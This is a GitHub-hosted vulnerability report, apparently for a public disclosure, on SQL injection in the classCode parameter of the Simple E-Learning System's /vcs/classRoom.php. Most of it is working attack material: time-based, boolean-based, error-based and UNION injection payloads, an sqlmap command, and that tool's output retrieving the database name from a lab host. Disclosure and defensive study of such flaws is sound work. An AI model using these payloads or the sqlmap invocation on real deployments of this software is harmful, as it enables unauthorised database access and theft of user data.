<> Code   ⊙ Issues   ⑁ Pull requests   ▷ Actions   ⊞ Projects   ⊘ Security   ⩘ Insights

ᛘ main ▾   ···

bug_report / vendors / onetnom23 / Simple E-Learning System / **SQLi-1.md**

xtxxueyan Update SQLi-1.md   ⟳ History

⧔ 1 contributor

≔   23 lines (13 sloc) │ 847 Bytes   ···

Simple E-Learning System by oretnom23 has SQL injection

BUG_Author：xtxxueyan

vendors: https://www.sourcecodester.com/php-simple-e-learning-system-source-code

Vulnerability File: /vcs/classRoom.php?classCode=

Vulnerability location: /vcs/classRoom.php?classCode=, classCode

dbname = vcs_db

time-based blind

Payload: /vcs/classRoom.php?classCode=-9082' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,sleep(5),NULL-- - // Leak place ---> classCode

boolean-based blind

Payload: /vcs/classRoom.php?classCode=class101_a' AND 6907=6907 AND 'TSIZ'='TSIZ // Leak place ---> classCode

Payload: /vcs/classRoom.php?classCode=class101_a' AND 6907=6907 AND 'TSIZ'='TSIQ //
Leak place ---> classCode

sqlmap can inject it, can query the database in use now

```
└# sqlmap -u http://192.168.0.107/vcs/classRoom.php?classCode=class101_a --current-db

        __H__
    ___ ___[(]___ ___ ___       {1.6#stable}
    |_ -| . [(]     | .'| . |
    |___|_  [(]_|_|_|__,|  _|
          |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibil
elopers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 19:45:46 /2022-09-14/

[19:45:46] [INFO] resuming back-end DBMS 'mysql'
[19:45:46] [INFO] testing connection to the target URL
got a 302 redirect to 'http://192.168.0.107:80/vcs/register.php'. Do you want to follow? [Y/n]
you have not declared cookie(s), while server wants to set its own ('PHPSESSID=61marsn5f24 ... rm9ko869at'). Do you want to use those [
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: classCode (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: classCode=class101_a' AND 6907=6907 AND 'TSIZ'='TSIZ

    Type: error-based
    Title: MySQL ≥ 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: classCode=class101_a' AND (SELECT 1201 FROM(SELECT COUNT(*),CONCAT(0×716a6a7071,(SELECT (ELT(1201=1201,1))),0×7176706271
x)a) AND 'RVwi'='RVwi

    Type: time-based blind
    Title: MySQL ≥ 5.0.12 AND time-based blind (query SLEEP)
    Payload: classCode=class101_a' AND (SELECT 7734 FROM (SELECT(SLEEP(5)))CMeL) AND 'arDn'='arDn

    Type: UNION query
    Title: Generic UNION query (NULL) - 9 columns
    Payload: classCode=-9082' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0×716a6a7071,0×7570584553557567595a70425a596
271),NULL-- -
---
[19:45:48] [INFO] the back-end DBMS is MySQL
web application technology: PHP 8.1.6, Apache 2.4.53, PHP
back-end DBMS: MySQL ≥ 5.0 (MariaDB fork)
[19:45:48] [INFO] fetching current database
[19:45:48] [INFO] retrieved: 'vcs_db'
current database: 'vcs_db'
[19:45:48] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.0.107'
[19:45:48] [WARNING] your sqlmap version is outdated
```